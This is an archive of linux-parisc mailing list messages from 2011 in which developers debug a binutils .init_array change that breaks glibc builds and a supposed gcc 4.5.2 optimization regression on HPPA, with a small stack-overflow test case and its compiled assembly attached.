Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PpsUc-0007cw-SE
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Feb 2011 02:17:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753653Ab1BQBRO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Feb 2011 20:17:14 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1965 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752544Ab1BQBRO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Feb 2011 20:17:14 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 4B48651C3; Wed, 16 Feb 2011 20:17:12 -0500 (EST)
In-Reply-To: <20110217010912.GA26425@hiauly1.hia.nrc.ca> from "John David Anglin" at Feb 16, 2011 08:09:12 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3462
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3462>

> On Wed, 16 Feb 2011, John David Anglin wrote:
> 
> > Hi Carlos,
> > 
> > I would like to apply the following binutils change to align data
> > segments to a page boundary.  However, it breaks building glibc.
> > Problem occurs in call_init trying to run constructors for new
> > libc.so.6.
> 
> It's probably not a glibc issue:
> 
> /home2/dave/debian/glibc/eglibc-2.11.2/build-tree/hppa-libc/libc.so.6:     file 
> format elf32-hppa-linux
> 
> Contents of section .init_array:
>  159008 ffffffff 0015bee2 00000000           ............    

Hmmm, there is no .init_array section in the installed libc.  So, maybe
it's not the patch.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Wed, 16 Feb 2011 23:13:25 -0500
Organization: nrc.ca
Lines: 34
Approved: news@gmane.org
Message-ID: <20110217041325.GA8857@hiauly1.hia.nrc.ca>
References: <20110217010912.GA26425@hiauly1.hia.nrc.ca> <20110217011712.4B48651C3@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297916017 13343 80.91.229.12 (17 Feb 2011 04:13:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Feb 2011 04:13:37 +0000 (UTC)
Cc: carlos@systemhalted.org, James.Bottomley@hansenpartnership.com,
	linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 17 05:13:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PpvFB-00050R-W2
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Feb 2011 05:13:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751393Ab1BQEN3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Feb 2011 23:13:29 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2050 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750981Ab1BQEN3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Feb 2011 23:13:29 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E54834E01; Wed, 16 Feb 2011 23:13:26 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110217011712.4B48651C3@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3463
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3463>

On Wed, 16 Feb 2011, John David Anglin wrote:

> > On Wed, 16 Feb 2011, John David Anglin wrote:
> > 
> > > Hi Carlos,
> > > 
> > > I would like to apply the following binutils change to align data
> > > segments to a page boundary.  However, it breaks building glibc.
> > > Problem occurs in call_init trying to run constructors for new
> > > libc.so.6.
> > 
> > It's probably not a glibc issue:
> > 
> > /home2/dave/debian/glibc/eglibc-2.11.2/build-tree/hppa-libc/libc.so.6:     file 
> > format elf32-hppa-linux
> > 
> > Contents of section .init_array:
> >  159008 ffffffff 0015bee2 00000000           ............    
> 
> Hmmm, there is no .init_array section in the installed libc.  So, maybe
> it's not the patch.

It seems that glibc uses the .init_array section.  See for example
dlfcn.c.  Howe did this work before?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: GCC 4.5 regression
Date: Thu, 17 Feb 2011 20:15:23 +0100
Lines: 138
Approved: news@gmane.org
Message-ID: <20110217201523.2da3b41a@zombie>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/ljMs9lDAGTYgROg94kOBU4."
X-Trace: dough.gmane.org 1297970553 6280 80.91.229.12 (17 Feb 2011 19:22:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Feb 2011 19:22:33 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 17 20:22:30 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pq9Qq-0008DZ-Px
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Feb 2011 20:22:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754406Ab1BQTW2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Feb 2011 14:22:28 -0500
Original-Received: from tuur.schedom-europe.net ([193.109.184.94]:47596 "EHLO
	tuur.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751005Ab1BQTW1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Feb 2011 14:22:27 -0500
X-Greylist: delayed 400 seconds by postgrey-1.27 at vger.kernel.org; Thu, 17 Feb 2011 14:22:27 EST
Original-Received: (qmail 10072 invoked by uid 507); 17 Feb 2011 20:15:45 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	tuur.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by tuur.schedom-europe.net with SMTP; 17 Feb 2011 20:15:40 +0100
Original-Received: from wifi010.bxl.tuxicoman.be ([172.20.1.10] helo=zombie)
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.74)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1Pq9KG-00062D-1B
	for linux-parisc@vger.kernel.org; Thu, 17 Feb 2011 20:15:40 +0100
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3464
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3464>

--MP_/ljMs9lDAGTYgROg94kOBU4.
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


Hi all,


I've spotted this regression while testing gcc 4.5.2.
It hangs while doing one of the configure test of diffutils.

I've attached a reduced test case. The program is supposed to
segfault because of a stack overflow. However, with 4.5, it just hangs.
It seems that 4.5 simply over-optimize the function and replaces it
with a single jump.

Should I open a PR ?
Do you need other info ?

Here is how gcc is configured :

terminator test # gcc-4.4.5 -v
Using built-in specs.
Target: hppa2.0-unknown-linux-gnu
Configured
with: /var/tmp/portage/sys-devel/gcc-4.4.5/work/gcc-4.4.5/configure
--prefix=/usr --bindir=/usr/hppa2.0-unknown-linux-gnu/gcc-bin/4.4.5
--includedir=/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.4.5/include
--datadir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/4.4.5
--mandir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/4.4.5/man
--infodir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/4.4.5/info
--with-gxx-include-dir=/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.4.5/include/g++-v4
--host=hppa2.0-unknown-linux-gnu --build=hppa2.0-unknown-linux-gnu
--disable-altivec --disable-fixed-point --without-ppl --without-cloog
--enable-nls --without-included-gettext --with-system-zlib
--disable-werror --enable-secureplt --disable-multilib
--enable-libmudflap --disable-libssp --enable-libgomp --enable-cld
--with-python-dir=/share/gcc-data/hppa2.0-unknown-linux-gnu/4.4.5/python
--enable-checking=release --disable-libgcj
--enable-languages=c,c++,fortran --enable-shared --enable-threads=posix
--enable-__cxa_atexit --enable-clocale=gnu
--with-bugurl=http://bugs.gentoo.org/ --with-pkgversion='Gentoo 4.4.5
p1.2, pie-0.4.5' Thread model: posix gcc version 4.4.5 (Gentoo 4.4.5
p1.2, pie-0.4.5) 


terminator test # gcc-4.5.2 -v
Using built-in specs.
COLLECT_GCC=gcc-4.5.2
COLLECT_LTO_WRAPPER=/usr/libexec/gcc/hppa2.0-unknown-linux-gnu/4.5.2/lto-wrapper
Target: hppa2.0-unknown-linux-gnu
Configured
with: /var/tmp/portage/sys-devel/gcc-4.5.2/work/gcc-4.5.2/configure
--prefix=/usr --bindir=/usr/hppa2.0-unknown-linux-gnu/gcc-bin/4.5.2
--includedir=/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.5.2/include
--datadir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/4.5.2
--mandir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/4.5.2/man
--infodir=/usr/share/gcc-data/hppa2.0-unknown-linux-gnu/4.5.2/info
--with-gxx-include-dir=/usr/lib/gcc/hppa2.0-unknown-linux-gnu/4.5.2/include/g++-v4
--host=hppa2.0-unknown-linux-gnu --build=hppa2.0-unknown-linux-gnu
--disable-altivec --disable-fixed-point --without-ppl --without-cloog
--disable-lto --enable-nls --without-included-gettext
--with-system-zlib --disable-werror --enable-secureplt
--disable-multilib --enable-libmudflap --disable-libssp
--enable-libgomp --enable-cld
--with-python-dir=/share/gcc-data/hppa2.0-unknown-linux-gnu/4.5.2/python
--enable-checking=release --disable-libgcj
--enable-languages=c,c++,fortran --enable-shared --enable-threads=posix
--enable-__cxa_atexit --enable-clocale=gnu
--with-bugurl=http://bugs.gentoo.org/ --with-pkgversion='Gentoo 4.5.2
p1.0, pie-0.4.5' Thread model: posix gcc version 4.5.2 (Gentoo 4.5.2
p1.0, pie-0.4.5) 




Cheers,
  Guy
--MP_/ljMs9lDAGTYgROg94kOBU4.
Content-Type: text/x-c++src
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=conftest.c

#include <unistd.h>

static int recurse (char *a)
 {
   char tmp[500];
   *tmp = *a + 1;
   return recurse(tmp);
 }

int main (void) {
   return recurse ("\1");
}


--MP_/ljMs9lDAGTYgROg94kOBU4.
Content-Type: application/octet-stream; name=conftest-4.5.s
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=conftest-4.5.s

CS5MRVZFTCAxLjEKCS50ZXh0CgkuYWxpZ24gNAoJLnR5cGUJcmVjdXJzZS5jbG9uZS4wLCBAZnVu
Y3Rpb24KcmVjdXJzZS5jbG9uZS4wOgoJLlBST0MKCS5DQUxMSU5GTyBGUkFNRT0wLE5PX0NBTExT
CgkuRU5UUlkKLkwyOgoJYixuIC5MMgoJLkVYSVQKCS5QUk9DRU5ECgkuc2l6ZQlyZWN1cnNlLmNs
b25lLjAsIC4tcmVjdXJzZS5jbG9uZS4wCgkuYWxpZ24gNAouZ2xvYmwgbWFpbgoJLnR5cGUJbWFp
biwgQGZ1bmN0aW9uCm1haW46CgkuUFJPQwoJLkNBTExJTkZPIEZSQU1FPTAsTk9fQ0FMTFMsU0FW
RV9SUAoJLkVOVFJZCglzdHcgJXIyLC0yMCglcjMwKQoJbGRpIDEsJXIyNgoJbGR3IC0yMCglcjMw
KSwlcjIKCWJsIHJlY3Vyc2UuY2xvbmUuMCwlcjAKCW5vcAoJbm9wCgkuRVhJVAoJLlBST0NFTkQK
CS5zaXplCW1haW4sIC4tbWFpbgoJLmlkZW50CSJHQ0M6IChHZW50b28gNC41LjIgcDEuMCwgcGll
LTAuNC41KSA0LjUuMiIK

--MP_/ljMs9lDAGTYgROg94kOBU4.
Content-Type: application/octet-stream; name=conftest-4.4.s
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=conftest-4.4.s

CS5MRVZFTCAxLjEKCS50ZXh0CgkuYWxpZ24gNAoJLnR5cGUJcmVjdXJzZSwgQGZ1bmN0aW9uCnJl
Y3Vyc2U6CgkuUFJPQwoJLkNBTExJTkZPIEZSQU1FPTU3NixDQUxMUyxTQVZFX1JQCgkuRU5UUlkK
CXN0dyAlcjIsLTIwKCVyMzApCglsZGIgMCglcjI2KSwlcjI4CglsZG8gMSglcjI4KSwlcjI4Cgls
ZG8gNTc2KCVyMzApLCVyMzAKCXN0YiAlcjI4LC01NjgoJXIzMCkKCWJsIHJlY3Vyc2UsJXIyCgls
ZG8gLTU2OCglcjMwKSwlcjI2CglsZHcgLTU5NiglcjMwKSwlcjIKCWJ2ICVyMCglcjIpCglsZG8g
LTU3NiglcjMwKSwlcjMwCgkuRVhJVAoJLlBST0NFTkQKCS5zaXplCXJlY3Vyc2UsIC4tcmVjdXJz
ZQoJLnNlY3Rpb24JLnJvZGF0YS5zdHIxLjQsImFNUyIsQHByb2diaXRzLDEKCS5hbGlnbiA0Ci5M
QzA6Cgkuc3RyaW5negkiXDAwMSIKCS50ZXh0CgkuYWxpZ24gNAouZ2xvYmwgbWFpbgoJLnR5cGUJ
bWFpbiwgQGZ1bmN0aW9uCm1haW46CgkuUFJPQwoJLkNBTExJTkZPIEZSQU1FPTAsTk9fQ0FMTFMs
U0FWRV9SUAoJLkVOVFJZCglzdHcgJXIyLC0yMCglcjMwKQoJbGRpbCBMUicuTEMwLCVyMjYKCWxk
dyAtMjAoJXIzMCksJXIyCglsZG8gUlInLkxDMCglcjI2KSwlcjI2CglibCByZWN1cnNlLCVyMAoJ
bm9wCglub3AKCS5FWElUCgkuUFJPQ0VORAoJLnNpemUJbWFpbiwgLi1tYWluCgkuaWRlbnQJIkdD
QzogKEdlbnRvbyA0LjQuNSBwMS4yLCBwaWUtMC40LjUpIDQuNC41Igo=

--MP_/ljMs9lDAGTYgROg94kOBU4.--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC 4.5 regression
Date: Thu, 17 Feb 2011 14:48:07 -0500
Organization: nrc.ca
Lines: 34
Approved: news@gmane.org
Message-ID: <20110217194806.GA18632@hiauly1.hia.nrc.ca>
References: <20110217201523.2da3b41a@zombie>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297972100 15169 80.91.229.12 (17 Feb 2011 19:48:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 17 Feb 2011 19:48:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 17 20:48:13 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Pq9pk-0003Dw-6R
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Feb 2011 20:48:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754325Ab1BQTsL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Feb 2011 14:48:11 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2483 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753546Ab1BQTsL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Feb 2011 14:48:11 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 5CBFD4FB2; Thu, 17 Feb 2011 14:48:07 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110217201523.2da3b41a@zombie>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3465
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3465>

On Thu, 17 Feb 2011, Guy Martin wrote:

> I've spotted this regression while testing gcc 4.5.2.
> It hangs while doing one of the configure test of diffutils.
> 
> I've attached a reduced test case. The program is supposed to
> segfault because of a stack overflow. However, with 4.5, it just hangs.
> It seems that 4.5 simply over-optimize the function and replaces it
> with a single jump.
> 
> Should I open a PR ?

My sense is the test is wrong and the optimization is correct.

Optimizations such as this are done at the tree and rtl level.
For the most part, backends do not perform loop optimizations.
So, if you think the generated code is incorrect based on the
C standard, then a PR should be opened.

There are quite a few '-f' options that affect optimization behavior.
So, you may be able to disable loop optimizations and restore the
previous behavior.

There may be a newer autoconf test available.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC 4.5 regression
Date: Fri, 18 Feb 2011 01:28:20 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <AANLkTinte7Msj3ZJBGH8bQ2_PYud76vOh0ojQb9etwT7@mail.gmail.com>
References: <20110217201523.2da3b41a@zombie>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1297992529 21372 80.91.229.12 (18 Feb 2011 01:28:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Feb 2011 01:28:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 18 02:28:44 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PqF9H-0006OG-HE
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Feb 2011 02:28:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754641Ab1BRB2n (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Feb 2011 20:28:43 -0500
Original-Received: from mail-fx0-f46.google.com ([209.85.161.46]:37386 "EHLO
	mail-fx0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754345Ab1BRB2m (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Feb 2011 20:28:42 -0500
Original-Received: by fxm20 with SMTP id 20so3285954fxm.19
        for <linux-parisc@vger.kernel.org>; Thu, 17 Feb 2011 17:28:41 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
        bh=aRCgZGxGKGWSTr0wcpPrVvPDqaKe3DDwcIR9LPeo4d0=;
        b=Wzx/bOY7lRvDkLKiN+TlOkYVDt2SGHWNY1VmPITkmF6adEZCdQIknpvqRiI8SPNQNz
         Fenicx6WrBFMLIPKvfMx7Yy34jF4SNWH6CfPNLbZ2shdj6dlq1BnEIU1utIC0gzzz537
         vZZm7aTV/JVsXbW44wVjAEHGRDrI99c7++c2Q=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        b=REsino9mRQZx8IaofTgjYFCQqFJI/05FVd/rTv61LIy6O5LEDBEY839qHSeI9BrLUw
         kqI0TFAM8UcZOuUAuNjBLcuqL5MsIZmr9I3Wi4wLI7OysId0CEVKPSSm/6dTqMhi7A0F
         twFw/ofmvraQQFMzhUApeZ+cxlG3FqVul5658=
Original-Received: by 10.223.101.202 with SMTP id d10mr149087fao.132.1297992520094;
 Thu, 17 Feb 2011 17:28:40 -0800 (PST)
Original-Received: by 10.223.145.16 with HTTP; Thu, 17 Feb 2011 17:28:20 -0800 (PST)
In-Reply-To: <20110217201523.2da3b41a@zombie>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3466
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3466>

On Thu, Feb 17, 2011 at 7:15 PM, Guy Martin <gmsoft@tuxicoman.be> wrote:
> I've attached a reduced test case. The program is supposed to
> segfault because of a stack overflow. However, with 4.5, it just hangs.
> It seems that 4.5 simply over-optimize the function and replaces it
> with a single jump.

http://bugs.gentoo.org/show_bug.cgi?id=340923

It's known and fixed. It's not a gcc regression, nor is it
HPPA-specific (didn't you try to confirm that it was HPPA-specific? :)

The reason you're hitting it is that you've keyworded gcc-4.5.2, but
aren't running a full ~hppa system. vapier doesn't seem to acknowledge
that this is a reasonable, sensible, or even common configuration.

Anyway, false alarm.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Thu, 17 Feb 2011 22:29:01 -0500
Organization: nrc.ca
Lines: 29
Approved: news@gmane.org
Message-ID: <20110218032901.GA3729@hiauly1.hia.nrc.ca>
References: <20110217010912.GA26425@hiauly1.hia.nrc.ca> <20110217011712.4B48651C3@hiauly1.hia.nrc.ca> <20110217041325.GA8857@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1297999752 17878 80.91.229.12 (18 Feb 2011 03:29:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Feb 2011 03:29:12 +0000 (UTC)
Cc: carlos@systemhalted.org, James.Bottomley@hansenpartnership.com,
	linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 18 04:29:08 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PqH1n-0004Vt-85
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Feb 2011 04:29:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751348Ab1BRD3G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Feb 2011 22:29:06 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:2703 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752445Ab1BRD3F (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Feb 2011 22:29:05 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 218E64E42; Thu, 17 Feb 2011 22:29:02 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110217041325.GA8857@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3467
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3467>

On Wed, 16 Feb 2011, John David Anglin wrote:

> > > It's probably not a glibc issue:
> > > 
> > > /home2/dave/debian/glibc/eglibc-2.11.2/build-tree/hppa-libc/libc.so.6:     file 
> > > format elf32-hppa-linux
> > > 
> > > Contents of section .init_array:
> > >  159008 ffffffff 0015bee2 00000000           ............    
> > 
> > Hmmm, there is no .init_array section in the installed libc.  So, maybe
> > it's not the patch.

This is a binutils bug introduced by merging .ctors into .init_array.
That's where the ffffffff and 00000000 values come from.  They actual
mark the limits of the .ctors list.

It can be avoided by building binutils with --disable-initfini-array.
This is not exactly obvious...

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: binutils change break glibc build
Date: Fri, 18 Feb 2011 00:32:36 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <AANLkTikL=ANnoEE6=orNbqkinW4-pEngWKh6UkBLWx5v@mail.gmail.com>
References: <20110210170033.4317E4ED8@hiauly1.hia.nrc.ca> <20110210200044.203164E01@hiauly1.hia.nrc.ca>
 <20110212161846.GA24076@hiauly1.hia.nrc.ca> <20110213193934.GA28834@hiauly1.hia.nrc.ca>
